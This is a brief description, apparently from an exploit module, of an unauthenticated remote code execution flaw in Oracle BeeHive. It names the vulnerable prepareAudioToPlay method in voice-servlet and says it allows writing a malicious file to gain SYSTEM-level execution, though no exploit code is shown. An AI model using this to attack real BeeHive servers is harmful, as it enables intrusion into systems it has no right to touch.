        This module exploits a vulnerability found in Oracle BeeHive. The prepareAudioToPlay method
        found in voice-servlet can be abused to write a malicious file onto the target machine, and
        gain remote arbitrary code execution under the context of SYSTEM. Authentication is not
        required to exploit this vulnerability.
